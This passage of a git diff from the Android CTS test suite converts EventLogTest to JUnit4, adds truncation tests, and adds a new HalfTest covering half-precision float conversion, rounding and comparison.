     public void testDisplayMetricsOp() {
         DisplayMetrics outMetrics = new DisplayMetrics();
         outMetrics.setToDefaults();
diff --git a/tests/tests/util/src/android/util/cts/EventLogTest.java b/tests/tests/util/src/android/util/cts/EventLogTest.java
index 2065e32..a0ce6b7 100644
--- a/tests/tests/util/src/android/util/cts/EventLogTest.java
+++ b/tests/tests/util/src/android/util/cts/EventLogTest.java
@@ -16,22 +16,33 @@
 
 package android.util.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
 import android.os.Process;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.EventLog;
 import android.util.EventLog.Event;
 
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 import java.io.IOException;
 import java.util.ArrayList;
 import java.util.Iterator;
 import java.util.List;
 
-import junit.framework.TestCase;
-
-public class EventLogTest extends TestCase {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class EventLogTest {
     private static final int ANSWER_TAG = 42;
     private static final int PI_TAG = 314;
     private static final int E_TAG = 2718;
 
+    @Test
     public void testWriteEvent() throws Exception {
         long markerData = System.currentTimeMillis();
         EventLog.writeEvent(ANSWER_TAG, markerData);
@@ -57,7 +68,9 @@
         assertEquals("Test", arr[3]);
     }
 
-    public void testWriteEventWithOversizeValue() throws Exception {
+    @Test
+    public void testWriteEventWithOversizeValueLimitElision() throws Exception {
+        // make sure big events are postsed and only elided to no less than about 4K.
         StringBuilder longString = new StringBuilder();
         for (int i = 0; i < 1000; i++) longString.append("xyzzy");
 
@@ -76,53 +89,85 @@
         List<Event> events = getEventsAfterMarker(markerData, ANSWER_TAG);
         assertEquals(7, events.size());
 
-        // subtract: log header, type byte, final newline
-        final int max = 4096 - 20 - 4 - 1 - 8;
+        final int big = 4000; // expect at least this many bytes to get through.
 
         // subtract: string header (type + length)
         String val0 = (String) events.get(0).getData();
-        assertEquals(max - 5, val0.length());
+        assertNull("getData on object 0 raised a WTF", events.get(0).getLastError());
+        assertTrue("big string 0 seems short", big < val0.length());
 
         // subtract: array header, "hi" header, "hi", string header
         Object[] arr1 = (Object[]) events.get(1).getData();
+        assertNull("getData on object 1 raised a WTF", events.get(1).getLastError());
         assertEquals(2, arr1.length);
         assertEquals("hi", arr1[0]);
-        assertEquals(max - 2 - 5 - 2 - 5, ((String) arr1[1]).length());
+        assertTrue("big string 1 seems short", big < ((String) arr1[1]).length());
 
         // subtract: array header, int (type + value), string header
         Object[] arr2 = (Object[]) events.get(2).getData();
+        assertNull("getData on object 2 raised a WTF", events.get(2).getLastError());
         assertEquals(2, arr2.length);
         assertEquals(12345, arr2[0]);
-        assertEquals(max - 2 - 5 - 5, ((String) arr2[1]).length());
+        assertTrue("big string 2 seems short", big < ((String) arr2[1]).length());
 
         // subtract: array header, long, string header
         Object[] arr3 = (Object[]) events.get(3).getData();
+        assertNull("getData on object 3 raised a WTF", events.get(3).getLastError());
         assertEquals(2, arr3.length);
         assertEquals(12345L, arr3[0]);
-        assertEquals(max - 2 - 9 - 5, ((String) arr3[1]).length());
+        assertTrue("big string 3 seems short", big < ((String) arr3[1]).length());
 
         // subtract: array header, float, string header
         Object[] arr4 = (Object[]) events.get(4).getData();
+        assertNull("getData on object 4 raised a WTF", events.get(4).getLastError());
         assertEquals(2, arr4.length);
         assertEquals(42.4242f, arr4[0]);
-        assertEquals(max - 2 - 5 - 5, ((String) arr4[1]).length());
+        assertTrue("big string 4 seems short", big < ((String) arr4[1]).length());
 
         // subtract: array header, string header (second string is dropped entirely)
-        Object[] arr5 = (Object[]) events.get(5).getData();
-        assertEquals(1, arr5.length);
-        assertEquals(max - 2 - 5, ((String) arr5[0]).length());
+        String string5 = (String) events.get(5).getData();
+        assertNull("getData on object 5 raised a WTF", events.get(5).getLastError());
+        assertTrue("big string 5 seems short", big < string5.length());
 
         Object[] arr6 = (Object[]) events.get(6).getData();
+        assertNull("getData on object 6 raised a WTF", events.get(6).getLastError());
         assertEquals(255, arr6.length);
         assertEquals(12345, arr6[0]);
         assertEquals(12345, arr6[arr6.length - 1]);
     }
 
+    @Test
+    public void testOversizeStringMayBeTruncated() throws Exception {
+        // make sure big events elide from the end, not the  from the front or middle.
+        StringBuilder longBuilder = new StringBuilder();
+
+        // build a long string where the prefix is never repeated
+        for (int step = 1; step < 256; step += 2) { // all odds are relatively prime to 256
+            for (int i = 0; i < 255; i++) {
+                longBuilder.append(String.valueOf((char) (((step * i) % 256) + 1))); // never emit 0
+            }
+        }
+        String longString = longBuilder.toString(); // 32K
+
+        Long markerData = System.currentTimeMillis();
+        EventLog.writeEvent(ANSWER_TAG, markerData);
+        EventLog.writeEvent(ANSWER_TAG, longString);
+
+        List<Event> events = getEventsAfterMarker(markerData, ANSWER_TAG);
+        assertEquals(1, events.size());
+
+        // subtract: string header (type + length)
+        String out = (String) events.get(0).getData();
+        assertNull("getData on big string raised a WTF", events.get(0).getLastError());
+        assertEquals("output is not a prefix of the input", 0, longString.indexOf(out), 0);
+    }
+
+    @Test
     public void testWriteNullEvent() throws Exception {
         Long markerData = System.currentTimeMillis();
         EventLog.writeEvent(ANSWER_TAG, markerData);
         EventLog.writeEvent(ANSWER_TAG, (String) null);
-        EventLog.writeEvent(ANSWER_TAG, 12345, (String) null);
+        EventLog.writeEvent(ANSWER_TAG, 12345, null);
 
         List<EventLog.Event> events = getEventsAfterMarker(markerData, ANSWER_TAG);
         assertEquals(2, events.size());
@@ -134,6 +179,19 @@
         assertEquals("NULL", arr[1]);
     }
 
+    @Test
+    public void testReadDataWhenNone() throws Exception {
+        Long markerData = System.currentTimeMillis();
+        EventLog.writeEvent(ANSWER_TAG, markerData);
+        EventLog.writeEvent(ANSWER_TAG);
+
+        List<EventLog.Event> events = getEventsAfterMarker(markerData, ANSWER_TAG);
+        assertEquals(1, events.size());
+        assertEquals("getData on empty data did not return null", null, events.get(0).getData());
+        assertNull("getData on object 0 raised a WTF", events.get(0).getLastError());
+    }
+
+    @Test
     public void testReadEvents() throws Exception {
         Long markerData = System.currentTimeMillis();
         EventLog.writeEvent(ANSWER_TAG, markerData);
@@ -149,24 +207,24 @@
 
         List<Event> events = getEventsAfterMarker(markerData, ANSWER_TAG, PI_TAG, E_TAG);
         assertEquals(3, events.size());
-        assertEvent(events.get(0), ANSWER_TAG, data0);
-        assertEvent(events.get(1), PI_TAG, data1);
-        assertEvent(events.get(2), E_TAG, data2);
+        verifyEvent(events.get(0), ANSWER_TAG, data0);
+        verifyEvent(events.get(1), PI_TAG, data1);
+        verifyEvent(events.get(2), E_TAG, data2);
 
         events = getEventsAfterMarker(markerData, ANSWER_TAG, E_TAG);
         assertEquals(2, events.size());
-        assertEvent(events.get(0), ANSWER_TAG, data0);
-        assertEvent(events.get(1), E_TAG, data2);
+        verifyEvent(events.get(0), ANSWER_TAG, data0);
+        verifyEvent(events.get(1), E_TAG, data2);
 
         events = getEventsAfterMarker(markerData, ANSWER_TAG);
         assertEquals(1, events.size());
-        assertEvent(events.get(0), ANSWER_TAG, data0);
+        verifyEvent(events.get(0), ANSWER_TAG, data0);
     }
 
     /** Return elements after and the event that has the marker data and matching tag. */
     private List<Event> getEventsAfterMarker(Object marker, int... tags)
             throws IOException, InterruptedException {
-        List<Event> events = new ArrayList<Event>();
+        List<Event> events = new ArrayList<>();
         // Give the message some time to show up in the log
         Thread.sleep(20);
         EventLog.readEvents(tags, events);
@@ -179,19 +237,19 @@
             }
         }
 
-        assertEventTimes(events);
+        verifyEventTimes(events);
 
         return events;
     }
 
-    private void assertEvent(Event event, int expectedTag, Object expectedData) {
+    private void verifyEvent(Event event, int expectedTag, Object expectedData) {
         assertEquals(Process.myPid(), event.getProcessId());
         assertEquals(Process.myTid(), event.getThreadId());
         assertEquals(expectedTag, event.getTag());
         assertEquals(expectedData, event.getData());
     }
 
-    private void assertEventTimes(List<Event> events) {
+    private void verifyEventTimes(List<Event> events) {
         for (int i = 0; i + 1 < events.size(); i++) {
             long time = events.get(i).getTimeNanos();
             long nextTime = events.get(i).getTimeNanos();
@@ -199,6 +257,7 @@
         }
     }
 
+    @Test
     public void testGetTagName() throws Exception {
         assertEquals("answer", EventLog.getTagName(ANSWER_TAG));
         assertEquals("pi", EventLog.getTagName(PI_TAG));
@@ -206,6 +265,7 @@
         assertEquals(null, EventLog.getTagName(999999999));
     }
 
+    @Test
     public void testGetTagCode() throws Exception {
         assertEquals(ANSWER_TAG, EventLog.getTagCode("answer"));
         assertEquals(PI_TAG, EventLog.getTagCode("pi"));
diff --git a/tests/tests/util/src/android/util/cts/HalfTest.java b/tests/tests/util/src/android/util/cts/HalfTest.java
new file mode 100644
index 0000000..89567a5
--- /dev/null
+++ b/tests/tests/util/src/android/util/cts/HalfTest.java
@@ -0,0 +1,690 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.util.cts;
+
+import android.util.Half;
+
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import static android.util.Half.*;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.assertFalse;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class HalfTest {
+    private static void assertShortEquals(short a, short b) {
+        assertEquals((long) (a & 0xffff), (long) (b & 0xffff));
+    }
+
+    private static void assertShortEquals(int a, short b) {
+        assertEquals((long) (a & 0xffff), (long) (b & 0xffff));
+    }
+
+    @Test
+    public void singleToHalf() {
+        // Zeroes, NaN and infinities
+        assertShortEquals(POSITIVE_ZERO, toHalf(0.0f));
+        assertShortEquals(NEGATIVE_ZERO, toHalf(-0.0f));
+        assertShortEquals(NaN, toHalf(Float.NaN));
+        assertShortEquals(POSITIVE_INFINITY, toHalf(Float.POSITIVE_INFINITY));
+        assertShortEquals(NEGATIVE_INFINITY, toHalf(Float.NEGATIVE_INFINITY));
+        // Known values
+        assertShortEquals(0x3c01, toHalf(1.0009765625f));
+        assertShortEquals(0xc000, toHalf(-2.0f));
+        assertShortEquals(0x0400, toHalf(6.10352e-5f));
+        assertShortEquals(0x7bff, toHalf(65504.0f));
+        assertShortEquals(0x3555, toHalf(1.0f / 3.0f));
+        // Denormals
+        assertShortEquals(0x03ff, toHalf(6.09756e-5f));
+        assertShortEquals(MIN_VALUE, toHalf(5.96046e-8f));
+        assertShortEquals(0x83ff, toHalf(-6.09756e-5f));
+        assertShortEquals(0x8001, toHalf(-5.96046e-8f));
+        // Denormals (flushed to +/-0)
+        assertShortEquals(POSITIVE_ZERO, toHalf(5.96046e-9f));
+        assertShortEquals(NEGATIVE_ZERO, toHalf(-5.96046e-9f));
+    }
+
+    @Test
+    public void halfToSingle() {
+        // Zeroes, NaN and infinities
+        assertEquals(0.0f, toFloat(toHalf(0.0f)), 1e-6f);
+        assertEquals(-0.0f, toFloat(toHalf(-0.0f)), 1e-6f);
+        assertEquals(Float.NaN, toFloat(toHalf(Float.NaN)), 1e-6f);
+        assertEquals(Float.POSITIVE_INFINITY, toFloat(toHalf(Float.POSITIVE_INFINITY)), 1e-6f);
+        assertEquals(Float.NEGATIVE_INFINITY, toFloat(toHalf(Float.NEGATIVE_INFINITY)), 1e-6f);
+        // Known values
+        assertEquals(1.0009765625f, toFloat(toHalf(1.0009765625f)), 1e-6f);
+        assertEquals(-2.0f, toFloat(toHalf(-2.0f)), 1e-6f);
+        assertEquals(6.1035156e-5f, toFloat(toHalf(6.10352e-5f)), 1e-6f); // Inexact
+        assertEquals(65504.0f, toFloat(toHalf(65504.0f)), 1e-6f);
+        assertEquals(0.33325195f, toFloat(toHalf(1.0f / 3.0f)), 1e-6f); // Inexact
+        // Denormals (flushed to +/-0)
+        assertEquals(6.097555e-5f, toFloat(toHalf(6.09756e-5f)), 1e-6f);
+        assertEquals(5.9604645e-8f, toFloat(toHalf(5.96046e-8f)), 1e-9f);
+        assertEquals(-6.097555e-5f, toFloat(toHalf(-6.09756e-5f)), 1e-6f);
+        assertEquals(-5.9604645e-8f, toFloat(toHalf(-5.96046e-8f)), 1e-9f);
+    }
+
+    @Test
+    public void hexString() {
+        assertEquals("NaN", toHexString(NaN));
+        assertEquals("Infinity", toHexString(POSITIVE_INFINITY));
+        assertEquals("-Infinity", toHexString(NEGATIVE_INFINITY));
+        assertEquals("0x0.0p0", toHexString(POSITIVE_ZERO));
+        assertEquals("-0x0.0p0", toHexString(NEGATIVE_ZERO));
+        assertEquals("0x1.0p0", toHexString(toHalf(1.0f)));
+        assertEquals("-0x1.0p0", toHexString(toHalf(-1.0f)));
+        assertEquals("0x1.0p1", toHexString(toHalf(2.0f)));
+        assertEquals("0x1.0p8", toHexString(toHalf(256.0f)));
+        assertEquals("0x1.0p-1", toHexString(toHalf(0.5f)));
+        assertEquals("0x1.0p-2", toHexString(toHalf(0.25f)));
+        assertEquals("0x1.3ffp15", toHexString(MAX_VALUE));
+        assertEquals("0x0.1p-14", toHexString(MIN_VALUE));
+        assertEquals("0x1.0p-14", toHexString(MIN_NORMAL));
+        assertEquals("-0x1.3ffp15", toHexString(LOWEST_VALUE));
+    }
+
+    @Test
+    public void string() {
+        assertEquals("NaN", Half.toString(NaN));
+        assertEquals("Infinity", Half.toString(POSITIVE_INFINITY));
+        assertEquals("-Infinity", Half.toString(NEGATIVE_INFINITY));
+        assertEquals("0.0", Half.toString(POSITIVE_ZERO));
+        assertEquals("-0.0", Half.toString(NEGATIVE_ZERO));
+        assertEquals("1.0", Half.toString(toHalf(1.0f)));
+        assertEquals("-1.0", Half.toString(toHalf(-1.0f)));
+        assertEquals("2.0", Half.toString(toHalf(2.0f)));
+        assertEquals("256.0", Half.toString(toHalf(256.0f)));
+        assertEquals("0.5", Half.toString(toHalf(0.5f)));
+        assertEquals("0.25", Half.toString(toHalf(0.25f)));
+        assertEquals("65504.0", Half.toString(MAX_VALUE));
+        assertEquals("5.9604645E-8", Half.toString(MIN_VALUE));
+        assertEquals("6.1035156E-5", Half.toString(MIN_NORMAL));
+        assertEquals("-65504.0", Half.toString(LOWEST_VALUE));
+    }
+
+    @Test
+    public void exponent() {
+        assertEquals(16, getExponent(POSITIVE_INFINITY));
+        assertEquals(16, getExponent(NEGATIVE_INFINITY));
+        assertEquals(16, getExponent(NaN));
+        assertEquals(-15, getExponent(POSITIVE_ZERO));
+        assertEquals(-15, getExponent(NEGATIVE_ZERO));
+        assertEquals(0, getExponent(toHalf(1.0f)));
+        assertEquals(-4, getExponent(toHalf(0.1f)));
+        assertEquals(-10, getExponent(toHalf(0.001f)));
+        assertEquals(7, getExponent(toHalf(128.8f)));
+    }
+
+    @Test
+    public void significand() {
+        assertEquals(0, getSignificand(POSITIVE_INFINITY));
+        assertEquals(0, getSignificand(NEGATIVE_INFINITY));
+        assertEquals(512, getSignificand(NaN));
+        assertEquals(0, getSignificand(POSITIVE_ZERO));
+        assertEquals(0, getSignificand(NEGATIVE_ZERO));
+        assertEquals(614, getSignificand(toHalf(0.1f)));
+        assertEquals(25, getSignificand(toHalf(0.001f)));
+        assertEquals(6, getSignificand(toHalf(128.8f)));
+    }
+
+    @Test
+    public void sign() {
+        assertEquals(1, getSign(POSITIVE_INFINITY));
+        assertEquals(-1, getSign(NEGATIVE_INFINITY));
+        assertEquals(1, getSign(POSITIVE_ZERO));
+        assertEquals(-1, getSign(NEGATIVE_ZERO));
+        assertEquals(1, getSign(NaN));
+        assertEquals(1, getSign(toHalf(12.4f)));
+        assertEquals(-1, getSign(toHalf(-12.4f)));
+    }
+
+    @Test
+    public void isInfinite() {
+        assertTrue(Half.isInfinite(POSITIVE_INFINITY));
+        assertTrue(Half.isInfinite(NEGATIVE_INFINITY));
+        assertFalse(Half.isInfinite(POSITIVE_ZERO));
+        assertFalse(Half.isInfinite(NEGATIVE_ZERO));
+        assertFalse(Half.isInfinite(NaN));
+        assertFalse(Half.isInfinite(MAX_VALUE));
+        assertFalse(Half.isInfinite(LOWEST_VALUE));
+        assertFalse(Half.isInfinite(toHalf(-128.3f)));
+        assertFalse(Half.isInfinite(toHalf(128.3f)));
+    }
+
+    @Test
+    public void isNaN() {
+        assertFalse(Half.isNaN(POSITIVE_INFINITY));
+        assertFalse(Half.isNaN(NEGATIVE_INFINITY));
+        assertFalse(Half.isNaN(POSITIVE_ZERO));
+        assertFalse(Half.isNaN(NEGATIVE_ZERO));
+        assertTrue(Half.isNaN(NaN));
+        assertTrue(Half.isNaN((short) 0x7c01));
+        assertTrue(Half.isNaN((short) 0x7c18));
+        assertTrue(Half.isNaN((short) 0xfc01));
+        assertTrue(Half.isNaN((short) 0xfc98));
+        assertFalse(Half.isNaN(MAX_VALUE));
+        assertFalse(Half.isNaN(LOWEST_VALUE));
+        assertFalse(Half.isNaN(toHalf(-128.3f)));
+        assertFalse(Half.isNaN(toHalf(128.3f)));
+    }
+
+    @Test
+    public void isNormalized() {
+        assertFalse(Half.isNormalized(POSITIVE_INFINITY));
+        assertFalse(Half.isNormalized(NEGATIVE_INFINITY));
+        assertFalse(Half.isNormalized(POSITIVE_ZERO));
+        assertFalse(Half.isNormalized(NEGATIVE_ZERO));
+        assertFalse(Half.isNormalized(NaN));
+        assertTrue(Half.isNormalized(MAX_VALUE));
+        assertTrue(Half.isNormalized(MIN_NORMAL));
+        assertTrue(Half.isNormalized(LOWEST_VALUE));
+        assertTrue(Half.isNormalized(toHalf(-128.3f)));
+        assertTrue(Half.isNormalized(toHalf(128.3f)));
+        assertTrue(Half.isNormalized(toHalf(0.3456f)));
+        assertFalse(Half.isNormalized(MIN_VALUE));
+        assertFalse(Half.isNormalized((short) 0x3ff));
+        assertFalse(Half.isNormalized((short) 0x200));
+        assertFalse(Half.isNormalized((short) 0x100));
+    }
+
+    @Test
+    public void abs() {
+        assertShortEquals(POSITIVE_INFINITY, Half.abs(POSITIVE_INFINITY));
+        assertShortEquals(POSITIVE_INFINITY, Half.abs(NEGATIVE_INFINITY));
+        assertShortEquals(POSITIVE_ZERO, Half.abs(POSITIVE_ZERO));
+        assertShortEquals(POSITIVE_ZERO, Half.abs(NEGATIVE_ZERO));
+        assertShortEquals(NaN, Half.abs(NaN));
+        assertShortEquals(MAX_VALUE, Half.abs(LOWEST_VALUE));
+        assertShortEquals(toHalf(12.12345f), Half.abs(toHalf(-12.12345f)));
+        assertShortEquals(toHalf(12.12345f), Half.abs(toHalf( 12.12345f)));
+    }
+
+    @Test
+    public void ceil() {
+        assertShortEquals(POSITIVE_INFINITY, Half.ceil(POSITIVE_INFINITY));
+        assertShortEquals(NEGATIVE_INFINITY, Half.ceil(NEGATIVE_INFINITY));
+        assertShortEquals(POSITIVE_ZERO, Half.ceil(POSITIVE_ZERO));
+        assertShortEquals(NEGATIVE_ZERO, Half.ceil(NEGATIVE_ZERO));
+        assertShortEquals(NaN, Half.ceil(NaN));
+        assertShortEquals(LOWEST_VALUE, Half.ceil(LOWEST_VALUE));
+        assertEquals(1.0f, toFloat(Half.ceil(MIN_NORMAL)), 1e-6f);
+        assertEquals(1.0f, toFloat(Half.ceil((short) 0x3ff)), 1e-6f);
+        assertEquals(1.0f, toFloat(Half.ceil(toHalf(0.2f))), 1e-6f);
+        assertShortEquals(NEGATIVE_ZERO, Half.ceil(toHalf(-0.2f)));
+        assertEquals(1.0f, toFloat(Half.ceil(toHalf(0.7f))), 1e-6f);
+        assertShortEquals(NEGATIVE_ZERO, Half.ceil(toHalf(-0.7f)));
+        assertEquals(125.0f, toFloat(Half.ceil(toHalf(124.7f))), 1e-6f);
+        assertEquals(-124.0f, toFloat(Half.ceil(toHalf(-124.7f))), 1e-6f);
+        assertEquals(125.0f, toFloat(Half.ceil(toHalf(124.2f))), 1e-6f);
+        assertEquals(-124.0f, toFloat(Half.ceil(toHalf(-124.2f))), 1e-6f);
+    }
+
+    @Test
+    public void copySign() {
+        assertShortEquals(toHalf(7.5f), Half.copySign(toHalf(-7.5f), POSITIVE_INFINITY));
+        assertShortEquals(toHalf(7.5f), Half.copySign(toHalf(-7.5f), POSITIVE_ZERO));
+        assertShortEquals(toHalf(-7.5f), Half.copySign(toHalf(7.5f), NEGATIVE_INFINITY));
+        assertShortEquals(toHalf(-7.5f), Half.copySign(toHalf(7.5f), NEGATIVE_ZERO));
+        assertShortEquals(toHalf(7.5f), Half.copySign(toHalf(7.5f), NaN));
+        assertShortEquals(toHalf(7.5f), Half.copySign(toHalf(7.5f), toHalf(12.4f)));
+        assertShortEquals(toHalf(-7.5f), Half.copySign(toHalf(7.5f), toHalf(-12.4f)));
+    }
+
+    @Test
+    public void equals() {
+        assertTrue(Half.equals(POSITIVE_INFINITY, POSITIVE_INFINITY));
+        assertTrue(Half.equals(NEGATIVE_INFINITY, NEGATIVE_INFINITY));
+        assertTrue(Half.equals(POSITIVE_ZERO, POSITIVE_ZERO));
+        assertTrue(Half.equals(NEGATIVE_ZERO, NEGATIVE_ZERO));
+        assertTrue(Half.equals(POSITIVE_ZERO, NEGATIVE_ZERO));
+        assertFalse(Half.equals(NaN, toHalf(12.4f)));
+        assertFalse(Half.equals(toHalf(12.4f), NaN));
+        assertFalse(Half.equals(NaN, NaN));
+        assertTrue(Half.equals(toHalf(12.4f), toHalf(12.4f)));
+        assertTrue(Half.equals(toHalf(-12.4f), toHalf(-12.4f)));
+        assertFalse(Half.equals(toHalf(12.4f), toHalf(0.7f)));
+
+        //noinspection UnnecessaryBoxing
+        assertNotEquals(Half.valueOf(0.0f), Float.valueOf(0.0f));
+        assertEquals(Half.valueOf(NaN), Half.valueOf((short) 0x7c01)); // NaN, NaN
+        assertEquals(Half.valueOf(NaN), Half.valueOf((short) 0xfc98)); // NaN, NaN
+
+        assertEquals(Half.valueOf(POSITIVE_INFINITY), Half.valueOf(POSITIVE_INFINITY));
+        assertEquals(Half.valueOf(NEGATIVE_INFINITY), Half.valueOf(NEGATIVE_INFINITY));
+        assertEquals(Half.valueOf(POSITIVE_ZERO), Half.valueOf(POSITIVE_ZERO));
+        assertEquals(Half.valueOf(NEGATIVE_ZERO), Half.valueOf(NEGATIVE_ZERO));
+        assertNotEquals(Half.valueOf(POSITIVE_ZERO), Half.valueOf(NEGATIVE_ZERO));
+        assertNotEquals(Half.valueOf(NaN), Half.valueOf(12.4f));
+        assertNotEquals(Half.valueOf(12.4f), Half.valueOf(NaN));
+        assertEquals(Half.valueOf(12.4f), Half.valueOf(12.4f));
+        assertEquals(Half.valueOf(-12.4f), Half.valueOf(-12.4f));
+        assertNotEquals(Half.valueOf(12.4f), Half.valueOf(0.7f));
+    }
+
+    @Test
+    public void floor() {
+        assertShortEquals(POSITIVE_INFINITY, Half.floor(POSITIVE_INFINITY));
+        assertShortEquals(NEGATIVE_INFINITY, Half.floor(NEGATIVE_INFINITY));
+        assertShortEquals(POSITIVE_ZERO, Half.floor(POSITIVE_ZERO));
+        assertShortEquals(NEGATIVE_ZERO, Half.floor(NEGATIVE_ZERO));
+        assertShortEquals(NaN, Half.floor(NaN));
+        assertShortEquals(LOWEST_VALUE, Half.floor(LOWEST_VALUE));
+        assertShortEquals(POSITIVE_ZERO, Half.floor(MIN_NORMAL));
+        assertShortEquals(POSITIVE_ZERO, Half.floor((short) 0x3ff));
+        assertShortEquals(POSITIVE_ZERO, Half.floor(toHalf(0.2f)));
+        assertEquals(-1.0f, toFloat(Half.floor(toHalf(-0.2f))), 1e-6f);
+        assertEquals(-1.0f, toFloat(Half.floor(toHalf(-0.7f))), 1e-6f);
+        assertShortEquals(POSITIVE_ZERO, Half.floor(toHalf(0.7f)));
+        assertEquals(124.0f, toFloat(Half.floor(toHalf(124.7f))), 1e-6f);
+        assertEquals(-125.0f, toFloat(Half.floor(toHalf(-124.7f))), 1e-6f);
+        assertEquals(124.0f, toFloat(Half.floor(toHalf(124.2f))), 1e-6f);
+        assertEquals(-125.0f, toFloat(Half.floor(toHalf(-124.2f))), 1e-6f);
+    }
+
+    @Test
+    public void round() {
+        assertShortEquals(POSITIVE_INFINITY, Half.round(POSITIVE_INFINITY));
+        assertShortEquals(NEGATIVE_INFINITY, Half.round(NEGATIVE_INFINITY));
+        assertShortEquals(POSITIVE_ZERO, Half.round(POSITIVE_ZERO));
+        assertShortEquals(NEGATIVE_ZERO, Half.round(NEGATIVE_ZERO));
+        assertShortEquals(NaN, Half.round(NaN));
+        assertShortEquals(LOWEST_VALUE, Half.round(LOWEST_VALUE));
+        assertShortEquals(POSITIVE_ZERO, Half.round(MIN_VALUE));
+        assertShortEquals(POSITIVE_ZERO, Half.round((short) 0x200));
+        assertShortEquals(POSITIVE_ZERO, Half.round((short) 0x3ff));
+        assertShortEquals(POSITIVE_ZERO, Half.round(toHalf(0.2f)));
+        assertShortEquals(NEGATIVE_ZERO, Half.round(toHalf(-0.2f)));
+        assertEquals(1.0f, toFloat(Half.round(toHalf(0.7f))), 1e-6f);
+        assertEquals(-1.0f, toFloat(Half.round(toHalf(-0.7f))), 1e-6f);
+        assertEquals(1.0f, toFloat(Half.round(toHalf(0.5f))), 1e-6f);
+        assertEquals(-1.0f, toFloat(Half.round(toHalf(-0.5f))), 1e-6f);
+        assertEquals(125.0f, toFloat(Half.round(toHalf(124.7f))), 1e-6f);
+        assertEquals(-125.0f, toFloat(Half.round(toHalf(-124.7f))), 1e-6f);
+        assertEquals(124.0f, toFloat(Half.round(toHalf(124.2f))), 1e-6f);
+        assertEquals(-124.0f, toFloat(Half.round(toHalf(-124.2f))), 1e-6f);
+    }
+
+    @Test
+    public void trunc() {
+        assertShortEquals(POSITIVE_INFINITY, Half.trunc(POSITIVE_INFINITY));
+        assertShortEquals(NEGATIVE_INFINITY, Half.trunc(NEGATIVE_INFINITY));
+        assertShortEquals(POSITIVE_ZERO, Half.trunc(POSITIVE_ZERO));
+        assertShortEquals(NEGATIVE_ZERO, Half.trunc(NEGATIVE_ZERO));
+        assertShortEquals(NaN, Half.trunc(NaN));
+        assertShortEquals(LOWEST_VALUE, Half.trunc(LOWEST_VALUE));
+        assertShortEquals(POSITIVE_ZERO, Half.trunc(toHalf(0.2f)));
+        assertShortEquals(NEGATIVE_ZERO, Half.trunc(toHalf(-0.2f)));
+        assertEquals(0.0f, toFloat(Half.trunc(toHalf(0.7f))), 1e-6f);
+        assertEquals(-0.0f, toFloat(Half.trunc(toHalf(-0.7f))), 1e-6f);
+        assertEquals(124.0f, toFloat(Half.trunc(toHalf(124.7f))), 1e-6f);
+        assertEquals(-124.0f, toFloat(Half.trunc(toHalf(-124.7f))), 1e-6f);
+        assertEquals(124.0f, toFloat(Half.trunc(toHalf(124.2f))), 1e-6f);
+        assertEquals(-124.0f, toFloat(Half.trunc(toHalf(-124.2f))), 1e-6f);
+    }
+
+    @Test
+    public void less() {
+        assertTrue(Half.less(NEGATIVE_INFINITY, POSITIVE_INFINITY));
+        assertTrue(Half.less(MAX_VALUE, POSITIVE_INFINITY));
+        assertFalse(Half.less(POSITIVE_INFINITY, MAX_VALUE));
+        assertFalse(Half.less(LOWEST_VALUE, NEGATIVE_INFINITY));
+        assertTrue(Half.less(NEGATIVE_INFINITY, LOWEST_VALUE));
+        assertFalse(Half.less(POSITIVE_ZERO, NEGATIVE_ZERO));
+        assertFalse(Half.less(NEGATIVE_ZERO, POSITIVE_ZERO));
+        assertFalse(Half.less(NaN, toHalf(12.3f)));
+        assertFalse(Half.less(toHalf(12.3f), NaN));
+        assertTrue(Half.less(MIN_VALUE, MIN_NORMAL));
+        assertFalse(Half.less(MIN_NORMAL, MIN_VALUE));
+        assertTrue(Half.less(toHalf(12.3f), toHalf(12.4f)));
+        assertFalse(Half.less(toHalf(12.4f), toHalf(12.3f)));
+        assertFalse(Half.less(toHalf(-12.3f), toHalf(-12.4f)));
+        assertTrue(Half.less(toHalf(-12.4f), toHalf(-12.3f)));
+        assertTrue(Half.less(MIN_VALUE, (short) 0x3ff));
+    }
+
+    @Test
+    public void lessEquals() {
+        assertTrue(Half.less(NEGATIVE_INFINITY, POSITIVE_INFINITY));
+        assertTrue(Half.lessEquals(MAX_VALUE, POSITIVE_INFINITY));
+        assertFalse(Half.lessEquals(POSITIVE_INFINITY, MAX_VALUE));
+        assertFalse(Half.lessEquals(LOWEST_VALUE, NEGATIVE_INFINITY));
+        assertTrue(Half.lessEquals(NEGATIVE_INFINITY, LOWEST_VALUE));
+        assertTrue(Half.lessEquals(POSITIVE_ZERO, NEGATIVE_ZERO));
+        assertTrue(Half.lessEquals(NEGATIVE_ZERO, POSITIVE_ZERO));
+        assertFalse(Half.lessEquals(NaN, toHalf(12.3f)));
+        assertFalse(Half.lessEquals(toHalf(12.3f), NaN));
+        assertTrue(Half.lessEquals(MIN_VALUE, MIN_NORMAL));
+        assertFalse(Half.lessEquals(MIN_NORMAL, MIN_VALUE));
+        assertTrue(Half.lessEquals(toHalf(12.3f), toHalf(12.4f)));
+        assertFalse(Half.lessEquals(toHalf(12.4f), toHalf(12.3f)));
+        assertFalse(Half.lessEquals(toHalf(-12.3f), toHalf(-12.4f)));
+        assertTrue(Half.lessEquals(toHalf(-12.4f), toHalf(-12.3f)));
+        assertTrue(Half.less(MIN_VALUE, (short) 0x3ff));
